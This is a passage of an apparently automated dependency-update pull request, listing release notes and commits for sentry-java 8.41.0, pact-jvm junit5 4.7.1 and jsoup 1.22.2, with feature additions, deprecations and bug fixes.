\u003ccode\u003ecapture()\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5349\"\u003e#5349\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003eSentry.showUserFeedbackDialog()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().show()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureFeedback()\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentry.captureUserFeedback()\u003c/code\u003e and \u003ccode\u003eUserFeedback\u003c/code\u003e are deprecated in favor of \u003ccode\u003eSentry.feedback().capture()\u003c/code\u003e with the new \u003ccode\u003eFeedback\u003c/code\u003e type\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003eSentryUserFeedbackDialog\u003c/code\u003e is deprecated in favor of \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAll deprecated APIs will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eSentryUserFeedbackButton\u003c/code\u003e (View-based and Compose-based) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5350\"\u003e#5350\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eIt will be removed in the next major version\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd per-form shake-to-show support for \u003ccode\u003eSentryUserFeedbackForm\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5353\"\u003e#5353\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eUseful for enabling shake-to-report on specific screens instead of globally\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"kotlin\"\u003e\u003ccode\u003eSentryUserFeedbackForm.Builder(activity)\n  .configurator { it.isUseShakeGesture = true }\n  .create()\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003eAdd support for Kafka (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5249\"\u003e#5249\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003eYou will need to add the \u003ccode\u003esentry-kafka\u003c/code\u003e dependency and opt-in via the new option.\n\u003cul\u003e\n\u003cli\u003eSet \u003ccode\u003eoptions.setEnableQueueTracing(true)\u003c/code\u003e on \u003ccode\u003eSentry.init\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eOr set \u003ccode\u003esentry.enable-queue-tracing=true\u003c/code\u003e in \u003ccode\u003eapplication.properties\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eFor Spring Boot Kafka is auto instrumented and no further configuration is needed.\n\u003cul\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/guides/spring-boot/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eWhen using \u003ccode\u003ekafka-clients\u003c/code\u003e directly\n\u003cul\u003e\n\u003cli\u003eyou need to wrap your \u003ccode\u003eKafkaProducer\u003c/code\u003e via \u003ccode\u003eSentryKafkaProducer.wrap(kafkaProducer)\u003c/code\u003e to get \u003ccode\u003equeue.publish\u003c/code\u003e spans\u003c/li\u003e\n\u003cli\u003eand you may use our \u003ccode\u003eSentryKafkaConsumerTracing.withTracing\u003c/code\u003e helper to instrument the consumer side manually.\u003c/li\u003e\n\u003cli\u003ealso see \u003ca href=\"https://docs.sentry.io/platforms/java/integrations/kafka/\"\u003ehttps://docs.sentry.io/platforms/java/integrations/kafka/\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix soft input keyboard not being shown on the Feedback form (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5359\"\u003e#5359\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix shake-to-report not triggering on some devices due to high acceleration threshold (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix feedback form retaining previous message when shown again via shake (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAvoid stack overflow when deserializing large flat JSON objects (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5361\"\u003e#5361\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDependencies\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eBump Native SDK from v0.13.7 to v0.14.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5334\"\u003e#5334\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5365\"\u003e#5365\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/blob/master/CHANGELOG.md#0140\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-native/compare/0.13.7...0.14.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003eBump Gradle from v9.4.1 to v9.5.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/pull/5344\"\u003e#5344\u003c/a\u003e)\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/blob/master/CHANGELOG.md#v950\"\u003echangelog\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gradle/gradle/compare/v9.4.1...v9.5.0\"\u003ediff\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/6219eb3d898ce527b1024eaa75e6a3ee5e985601\"\u003e\u003ccode\u003e6219eb3\u003c/code\u003e\u003c/a\u003e release: 8.41.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/566492415f8cb9a2596b13798f4088f3d5b7f614\"\u003e\u003ccode\u003e5664924\u003c/code\u003e\u003c/a\u003e Fix Changelog (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5381\"\u003e#5381\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/7ce4e911688f63d921a37f085dba629a097d9680\"\u003e\u003ccode\u003e7ce4e91\u003c/code\u003e\u003c/a\u003e feat(replay): Capture SurfaceView content (experimental) (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5333\"\u003e#5333\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/d446e68d100ab9363b233ae6b98698bb13782049\"\u003e\u003ccode\u003ed446e68\u003c/code\u003e\u003c/a\u003e chore(codeowners): Add Nelson and Adam (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5369\"\u003e#5369\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/11ad3372fed13e4508810060fd3997fb786ac176\"\u003e\u003ccode\u003e11ad337\u003c/code\u003e\u003c/a\u003e feat(core): Queue Instrumentation for Kafka (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5249\"\u003e#5249\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/0188f486bee02039e435beaa70a120f93bcf390c\"\u003e\u003ccode\u003e0188f48\u003c/code\u003e\u003c/a\u003e chore: Fix entry in \u003ccode\u003eCHANGELOG\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/83a416d1cfa89e79f71fd8eb9fe05d8e5058f665\"\u003e\u003ccode\u003e83a416d\u003c/code\u003e\u003c/a\u003e fix: Avoid stack overflow when deserializing large flat JSON objects (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5361\"\u003e#5361\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/e3e78e1c6cc641228dd910ee39c28ed6cf1ee710\"\u003e\u003ccode\u003ee3e78e1\u003c/code\u003e\u003c/a\u003e fix(feedback): Improve shake detection sensitivity (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5366\"\u003e#5366\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/d25ef951db8d52542757932b3dbe4497e60f8465\"\u003e\u003ccode\u003ed25ef95\u003c/code\u003e\u003c/a\u003e chore(deps): update Native SDK to v0.14.0 (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5365\"\u003e#5365\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/getsentry/sentry-java/commit/c7ed38cb3bf1241be0ebf27a7df97a2b13b118e8\"\u003e\u003ccode\u003ec7ed38c\u003c/code\u003e\u003c/a\u003e feat(ci): Notify linked issues on release (\u003ca href=\"https://redirect.github.com/getsentry/sentry-java/issues/5367\"\u003e#5367\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/getsentry/sentry-java/compare/8.38.0...8.41.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `au.com.dius.pact.consumer:junit5` from 4.6.20 to 4.7.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pact-foundation/pact-jvm/releases\"\u003eau.com.dius.pact.consumer:junit5's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.7.1\u003c/h2\u003e\n\u003ch2\u003eFeature release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e0cdd0e3b3 - chore: Corrected all the doctests after update to the readmes\u003c/li\u003e\n\u003cli\u003ea34e72a72 - chore: Add TOC to the consumer and provider readmes\u003c/li\u003e\n\u003cli\u003ef695f6d79 - feat: Update readmes with details on using external references\u003c/li\u003e\n\u003cli\u003e3cb5eb590 - feat: Display references in the verifier output\u003c/li\u003e\n\u003cli\u003e170b27669 - feat: Add a method to the DSL interaction builders to capture external references\u003c/li\u003e\n\u003cli\u003eb43d22530 - feat: Add a method V4Interaction to capture external references\u003c/li\u003e\n\u003cli\u003e130aaa28b - chore: Add tests for V4Interaction and child classes\u003c/li\u003e\n\u003cli\u003e4ee8ddd5d - chore: fix typo breaking internal build (Kevin Rohan Vaz)\u003c/li\u003e\n\u003cli\u003e76cabe478 - feat: Add doctests for the readme code blocks \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ee2ee20b00 - feat: Add a Kotlin consumer DSL \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e39c734aa8 - feat: add arrayContains as a matching rule expression\u003c/li\u003e\n\u003cli\u003e2de7c5022 - refactor: deduplicate write logic in MERGE branch (biergit)\u003c/li\u003e\n\u003cli\u003e332f3b305 - fix: write through RandomAccessFile instead of opening a competing file handle (biergit)\u003c/li\u003e\n\u003cli\u003e66e25c362 - Refactor writePact to handle empty pactFile case (biergit)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.7.0 Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e00a50289f - chore: remove beta flag from 4.7.x version\u003c/li\u003e\n\u003cli\u003e95af91301 - chore: Update supported JDK versions table\u003c/li\u003e\n\u003cli\u003e1a684e1a3 - chore: Correct the doctests for line endings on Windows\u003c/li\u003e\n\u003cli\u003e468b9a38c - chore: Add doctests for consumer and consumer/junit5\u003c/li\u003e\n\u003cli\u003e12e3c37be - chore: Add Gradle task to generate tests off readme code blocks\u003c/li\u003e\n\u003cli\u003e119efb3e0 - feat: Check for \u003ccode\u003e@Ignore\u003c/code\u003e on the Pact method in the post spec check stage\u003c/li\u003e\n\u003cli\u003e629350842 - chore: Update main readme\u003c/li\u003e\n\u003cli\u003e06deeb5ab - feat: Check for the mock server field and raise an exception if it is missing\u003c/li\u003e\n\u003cli\u003ed39f691d8 - feat: rename annotation so it does not have the same name as the JUnit one\u003c/li\u003e\n\u003cli\u003e977572cf6 - feat: Add a consumer spock module\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.7.0-beta.6\u003c/h2\u003e\n\u003ch2\u003eMaintenance Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e698c1b2a1 - chore: Update readme after upgrading Kotlin to 2.3.10\u003c/li\u003e\n\u003cli\u003e0a983466e - chore: Upgrade Kotlin to 2.3.10\u003c/li\u003e\n\u003cli\u003ee9f112aac - feat: add support for custom headers with the PactBroker annotation \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1835\"\u003e#1835\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ef0283de99 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output\u003c/li\u003e\n\u003cli\u003ebdb9db101 - chore(consumer): Add test for MockServerLog\u003c/li\u003e\n\u003cli\u003e7cf4acc16 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output\u003c/li\u003e\n\u003cli\u003e451d7f0e6 - fix: Replace Generex with a custom random string generator \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1848\"\u003e#1848\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e5caa7c5e9 - feat: Add a JUnit 5 filter by interation type \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1894\"\u003e#1894\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e4.7.0-beta.5\u003c/h2\u003e\n\u003ch2\u003eBugfix Release\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efff39e5f7 - fix: HttpHeaders.containsKey() which was removed in Spring Framework 7, causing NoSuchMethodError at runtime \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1902\"\u003e#1902\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ef27d9aaff - fix: Switch from the use of URL to URI in Gradle plugin to support Gradle 9+/JVM 25 \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1892\"\u003e#1892\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e161c08324 - Revert \u0026quot;fix: Switch from the use of URL to URI in Gradle plugin to support Gradle 9+/JVM 25 \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1892\"\u003e#1892\u003c/a\u003e\u0026quot;\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pact-foundation/pact-jvm/blob/master/CHANGELOG.md\"\u003eau.com.dius.pact.consumer:junit5's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e4.7.1 - Feature release\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003ed38c2f13e - chore: add todo file to track things to do (Ronald Holshausen, Thu Apr 30 10:51:54 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea489e72bb - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1908\"\u003e#1908\u003c/a\u003e from pact-foundation/kotlin-dsl (Ronald Holshausen, Thu Apr 30 10:49:22 2026 +1000)\u003c/li\u003e\n\u003cli\u003e0e8d6ecf9 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1901\"\u003e#1901\u003c/a\u003e from biergit/patch-3 (Ronald Holshausen, Thu Apr 30 10:44:20 2026 +1000)\u003c/li\u003e\n\u003cli\u003e0cdd0e3b3 - chore: Corrected all the doctests after update to the readmes (Ronald Holshausen, Wed Apr 29 15:32:33 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea34e72a72 - chore: Add TOC to the consumer and provider readmes (Ronald Holshausen, Wed Apr 29 11:49:37 2026 +1000)\u003c/li\u003e\n\u003cli\u003ef695f6d79 - feat: Update readmes with details on using external references (Ronald Holshausen, Wed Apr 29 11:36:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003e3cb5eb590 - feat: Display references in the verifier output (Ronald Holshausen, Wed Apr 29 11:20:43 2026 +1000)\u003c/li\u003e\n\u003cli\u003e170b27669 - feat: Add a method to the DSL interaction builders to capture external references (Ronald Holshausen, Tue Apr 28 17:22:36 2026 +1000)\u003c/li\u003e\n\u003cli\u003eb43d22530 - feat: Add a method V4Interaction to capture external references (Ronald Holshausen, Tue Apr 28 17:15:27 2026 +1000)\u003c/li\u003e\n\u003cli\u003e130aaa28b - chore: Add tests for V4Interaction and child classes (Ronald Holshausen, Tue Apr 28 17:01:34 2026 +1000)\u003c/li\u003e\n\u003cli\u003ec22838534 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1909\"\u003e#1909\u003c/a\u003e from kevinrvaz/chore/fix_minor_typo (Ronald Holshausen, Thu Apr 23 13:02:51 2026 +1000)\u003c/li\u003e\n\u003cli\u003e4ee8ddd5d - chore: fix typo breaking internal build (Kevin Rohan Vaz, Thu Apr 23 08:13:00 2026 +0530)\u003c/li\u003e\n\u003cli\u003e76cabe478 - feat: Add doctests for the readme code blocks \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e (Ronald Holshausen, Thu Apr 23 11:19:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003ee2ee20b00 - feat: Add a Kotlin consumer DSL \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1352\"\u003e#1352\u003c/a\u003e (Ronald Holshausen, Thu Apr 23 10:39:13 2026 +1000)\u003c/li\u003e\n\u003cli\u003e3798d97b8 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1907\"\u003e#1907\u003c/a\u003e from pact-foundation/feat/array-contains-matching-expression (Ronald Holshausen, Wed Apr 22 17:40:56 2026 +1000)\u003c/li\u003e\n\u003cli\u003e39c734aa8 - feat: add arrayContains as a matching rule expression (Ronald Holshausen, Wed Apr 22 17:19:53 2026 +1000)\u003c/li\u003e\n\u003cli\u003e41c2c39b3 - chore: Update project documentation (Ronald Holshausen, Wed Apr 22 15:43:17 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea09b4ee27 - bump version to 4.7.1 (Ronald Holshausen, Tue Apr 21 10:59:57 2026 +1000)\u003c/li\u003e\n\u003cli\u003e2de7c5022 - refactor: deduplicate write logic in MERGE branch (biergit, Fri Apr 17 15:00:56 2026 +0200)\u003c/li\u003e\n\u003cli\u003e332f3b305 - fix: write through RandomAccessFile instead of opening a competing file handle (biergit, Fri Apr 17 14:36:59 2026 +0200)\u003c/li\u003e\n\u003cli\u003e66e25c362 - Refactor writePact to handle empty pactFile case (biergit, Fri Mar 13 14:30:13 2026 +0100)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e4.7.0 - 4.7.0 Release\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e00a50289f - chore: remove beta flag from 4.7.x version (Ronald Holshausen, Tue Apr 21 10:25:35 2026 +1000)\u003c/li\u003e\n\u003cli\u003e95af91301 - chore: Update supported JDK versions table (Ronald Holshausen, Tue Apr 21 10:17:06 2026 +1000)\u003c/li\u003e\n\u003cli\u003e1a684e1a3 - chore: Correct the doctests for line endings on Windows (Ronald Holshausen, Mon Apr 20 16:58:34 2026 +1000)\u003c/li\u003e\n\u003cli\u003e468b9a38c - chore: Add doctests for consumer and consumer/junit5 (Ronald Holshausen, Mon Apr 20 16:20:13 2026 +1000)\u003c/li\u003e\n\u003cli\u003e12e3c37be - chore: Add Gradle task to generate tests off readme code blocks (Ronald Holshausen, Mon Apr 20 14:44:48 2026 +1000)\u003c/li\u003e\n\u003cli\u003e119efb3e0 - feat: Check for \u003ccode\u003e@Ignore\u003c/code\u003e on the Pact method in the post spec check stage (Ronald Holshausen, Mon Apr 20 13:37:11 2026 +1000)\u003c/li\u003e\n\u003cli\u003e629350842 - chore: Update main readme (Ronald Holshausen, Mon Apr 20 13:24:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003e06deeb5ab - feat: Check for the mock server field and raise an exception if it is missing (Ronald Holshausen, Mon Apr 20 13:23:03 2026 +1000)\u003c/li\u003e\n\u003cli\u003ed39f691d8 - feat: rename annotation so it does not have the same name as the JUnit one (Ronald Holshausen, Mon Apr 20 13:08:25 2026 +1000)\u003c/li\u003e\n\u003cli\u003e977572cf6 - feat: Add a consumer spock module (Ronald Holshausen, Mon Apr 20 13:00:58 2026 +1000)\u003c/li\u003e\n\u003cli\u003ea1b2abf32 - bump version to 4.7.0-beta.7 (Ronald Holshausen, Fri Apr 17 11:42:01 2026 +1000)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e4.7.0-beta.6 - Maintenance Release\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e698c1b2a1 - chore: Update readme after upgrading Kotlin to 2.3.10 (Ronald Holshausen, Fri Apr 17 10:56:41 2026 +1000)\u003c/li\u003e\n\u003cli\u003e0a983466e - chore: Upgrade Kotlin to 2.3.10 (Ronald Holshausen, Fri Apr 17 10:56:01 2026 +1000)\u003c/li\u003e\n\u003cli\u003ee9f112aac - feat: add support for custom headers with the PactBroker annotation \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1835\"\u003e#1835\u003c/a\u003e (Ronald Holshausen, Fri Apr 17 10:38:54 2026 +1000)\u003c/li\u003e\n\u003cli\u003ef0283de99 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output (Ronald Holshausen, Fri Apr 17 09:32:07 2026 +1000)\u003c/li\u003e\n\u003cli\u003ebdb9db101 - chore(consumer): Add test for MockServerLog (Ronald Holshausen, Thu Apr 16 17:22:04 2026 +1000)\u003c/li\u003e\n\u003cli\u003e64b5af54c - Merge branch 'master' into v4.7.x (Ronald Holshausen, Thu Apr 16 17:15:19 2026 +1000)\u003c/li\u003e\n\u003cli\u003e7cf4acc16 - feat(consumer): Make the mock server log entries for requests and responses clearer in the log output (Ronald Holshausen, Thu Apr 16 16:51:38 2026 +1000)\u003c/li\u003e\n\u003cli\u003e451d7f0e6 - fix: Replace Generex with a custom random string generator \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1848\"\u003e#1848\u003c/a\u003e (Ronald Holshausen, Thu Apr 16 15:58:56 2026 +1000)\u003c/li\u003e\n\u003cli\u003ed5bb09476 - bump version to 4.7.0-beta.6 (Ronald Holshausen, Thu Apr 16 14:28:00 2026 +1000)\u003c/li\u003e\n\u003cli\u003ec2ffe0c55 - Merge pull request \u003ca href=\"https://redirect.github.com/pact-foundation/pact-jvm/issues/1904\"\u003e#1904\u003c/a\u003e from kevinrvaz/docs/update_docs_for_docusaurus_update (Ronald Holshausen, Thu Apr 16 09:34:27 2026 +1000)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/pact-foundation/pact-jvm/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jsoup:jsoup` from 1.22.1 to 1.22.2\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jhy/jsoup/releases\"\u003eorg.jsoup:jsoup's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ejsoup Java HTML Parser release 1.22.2\u003c/h2\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup 1.22.2\u003c/strong\u003e is out now, with fixes and refinements across the library. It makes editing the DOM during traversal more predictable, refreshes the default HTML tag definitions with newer elements and better text boundaries, and improves reliability in parsing and HTTP transport. The release also fixes a number of edge cases in cleaning, stream parsing, XML doctype handling, and Android packaging.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ejsoup\u003c/strong\u003e is a Java library for working with real-world HTML and XML. It provides a very convenient API for extracting and manipulating data, using the best of HTML5 DOM methods and CSS selectors.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/jhy/jsoup/blob/HEAD/download\"\u003e\u003cstrong\u003eDownload\u003c/strong\u003e\u003c/a\u003e jsoup now.\u003c/p\u003e\n\u003ch2\u003eImprovements\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eExpanded and clarified \u003ccode\u003eNodeTraversor\u003c/code\u003e support for in-place DOM rewrites during \u003ccode\u003eNodeVisitor.head()\u003c/code\u003e. Current-node edits such as \u003ccode\u003eremove\u003c/code\u003e, \u003ccode\u003ereplace\u003c/code\u003e, and \u003ccode\u003eunwrap\u003c/code\u003e now recover more predictably, while traversal stays within the original root subtree. This makes single-pass tree cleanup and normalization visitors easier to write, for example when unwrapping presentational elements or replacing text nodes as you walk the DOM. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eDocumentation: clarified that a configured \u003ccode\u003eCleaner\u003c/code\u003e may be reused across concurrent threads, and that shared \u003ccode\u003eSafelist\u003c/code\u003e instances should not be mutated while in use. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2473\"\u003e#2473\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eUpdated the default HTML \u003ccode\u003eTagSet\u003c/code\u003e for current HTML elements: added \u003ccode\u003edialog\u003c/code\u003e, \u003ccode\u003esearch\u003c/code\u003e, \u003ccode\u003epicture\u003c/code\u003e, and \u003ccode\u003eslot\u003c/code\u003e; made \u003ccode\u003eins\u003c/code\u003e, \u003ccode\u003edel\u003c/code\u003e, \u003ccode\u003ebutton\u003c/code\u003e, \u003ccode\u003eaudio\u003c/code\u003e, \u003ccode\u003evideo\u003c/code\u003e, and \u003ccode\u003ecanvas\u003c/code\u003e inline by default (\u003ccode\u003eTag#isInline()\u003c/code\u003e, aligned to phrasing content in the spec); and added readable \u003ccode\u003eElement.text()\u003c/code\u003e boundaries for controls and embedded objects via the new \u003ccode\u003eTag.TextBoundary\u003c/code\u003e option. This improves pretty-printing and keeps normalized text from running adjacent words together. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/pull/2493\"\u003e#2493\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAndroid (R8/ProGuard): added a rule to ignore the optional \u003ccode\u003ere2j\u003c/code\u003e dependency when not present. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2459\"\u003e#2459\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eFixed a \u003ccode\u003eNodeTraversor\u003c/code\u003e regression in 1.21.2 where removing or replacing the current node during \u003ccode\u003ehead()\u003c/code\u003e could revisit the replacement node and loop indefinitely. The traversal docs now also clarify which inserted nodes are visited in the current pass. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2472\"\u003e#2472\u003c/a\u003e\u003c!-- raw HTML omitted --\u003e\u003c/li\u003e\n\u003cli\u003eParsing during charset sniffing no longer fails if an advisory \u003ccode\u003eavailable()\u003c/code\u003e call throws \u003ccode\u003eIOException\u003c/code\u003e, as seen on JDK 8 \u003ccode\u003eHttpURLConnection\u003c/code\u003e. \u003c!-- raw HTML omitted --\u003e\u003ca href=\"https://redirect.github.com/jhy/jsoup/issues/2474\"\u003e#2474\u003c/a\u003e\u003c!-- raw HTML omitted 